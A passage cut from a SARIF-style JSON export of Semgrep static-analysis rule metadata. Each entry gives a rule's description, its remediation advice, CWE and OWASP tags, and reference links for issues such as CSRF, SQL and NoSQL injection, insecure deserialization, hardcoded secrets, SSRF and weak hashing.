[https://find-sec-bugs.github.io/bugs.htm#SPRING_CSRF_UNRESTRICTED_REQUEST_MAPPING](https://find-sec-bugs.github.io/bugs.htm#SPRING_CSRF_UNRESTRICTED_REQUEST_MAPPING)\n","text":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST')."},"helpUri":"https://semgrep.dev/r/java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","id":"java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","name":"java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality."},"help":{"markdown":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostpid-pod.hostpid-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostpid-pod.hostpid-pod","id":"yaml.kubernetes.security.hostpid-pod.hostpid-pod","name":"yaml.kubernetes.security.hostpid-pod.hostpid-pod","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostpid-pod.hostpid-pod"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-vm2-injection.express-vm2-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-vm2-injection.express-vm2-injection","id":"javascript.express.security.express-vm2-injection.express-vm2-injection","name":"javascript.express.security.express-vm2-injection.express-vm2-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-vm2-injection.express-vm2-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","id":"python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","name":"python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead"},"help":{"markdown":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli)\n - [https://www.rubydoc.info/gems/pg/PG/Connection](https://www.rubydoc.info/gems/pg/PG/Connection)\n","text":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","id":"ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","name":"ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","id":"kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","name":"kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2."},"help":{"markdown":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","id":"kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","name":"kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jpa-sqli.jpa-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","id":"java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","name":"java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jpa-sqli.jpa-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","id":"java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","name":"java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-dill.tainted-dill)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-dill.tainted-dill","id":"python.lang.deserialization.tainted-dill.tainted-dill","name":"python.lang.deserialization.tainted-dill.tainted-dill","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-dill.tainted-dill"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","id":"python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","name":"python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.mysql.express-mysql-sqli.express-mysql-sqli)\n - [https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements](https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","id":"javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","name":"javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.mysql.express-mysql-sqli.express-mysql-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`."},"help":{"markdown":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash)\n - [https://cwe.mitre.org/data/definitions/328.html](https://cwe.mitre.org/data/definitions/328.html)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","id":"csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","name":"csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.sequelize-express.sequelize-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.sequelize-express.sequelize-express","id":"javascript.express.db.sequelize-express.sequelize-express","name":"javascript.express.db.sequelize-express.sequelize-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.sequelize-express.sequelize-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","id":"php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","name":"php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary."},"help":{"markdown":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf)\n - [https://www.cvedetails.com/cve/CVE-2020-28168/](https://www.cvedetails.com/cve/CVE-2020-28168/)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary."},"helpUri":"https://semgrep.dev/r/javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","id":"javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","name":"javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile"},"help":{"markdown":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification 